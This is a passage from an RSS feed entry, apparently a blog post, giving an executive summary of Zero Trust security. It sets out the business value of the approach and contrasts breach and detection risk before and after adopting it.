HR files at 3 AM).</p><p><strong>Business Value (Faster Recovery):</strong> Enables Rapid Response, Attacks are detected and contained in minutes, not weeks. This continuous vigilance dramatically cuts down the time attackers spend inside your environment, saving millions in incident response costs.</p><h3>Summary for the Executive Team</h3><p>Zero Trust is not a single product; it is a <strong>strategic shift</strong> that treats every interaction (internal or external)as potentially hostile.</p><p><strong>Risk Before Zero Trust</strong></p><p><strong>==&gt; Catastrophic Breach:</strong> A single compromised account gives attackers full access to the internal network and sensitive data.</p><p><strong>==&gt; Slow Detection:</strong> Attackers can hide for months before being found.</p><p><strong>Risk After Zero Trust</strong></p><p><strong>==&gt; Contained Incident:</strong> A compromised account is automatically flagged and restricted to the minimal resources it needs, preventing access to critical systems.</p><p><strong>==&gt; Rapid Detection:</strong> Anomalous activity is instantly flagged, allowing the security team to shut down the connection immediately.</p><p><strong><em>Zero Trust is a business enabler, It allows your organization to operate securely from anywhere, use modern cloud tools, and reduce overall financial risk without compromising agility or productivity.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=91c30924cf60" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>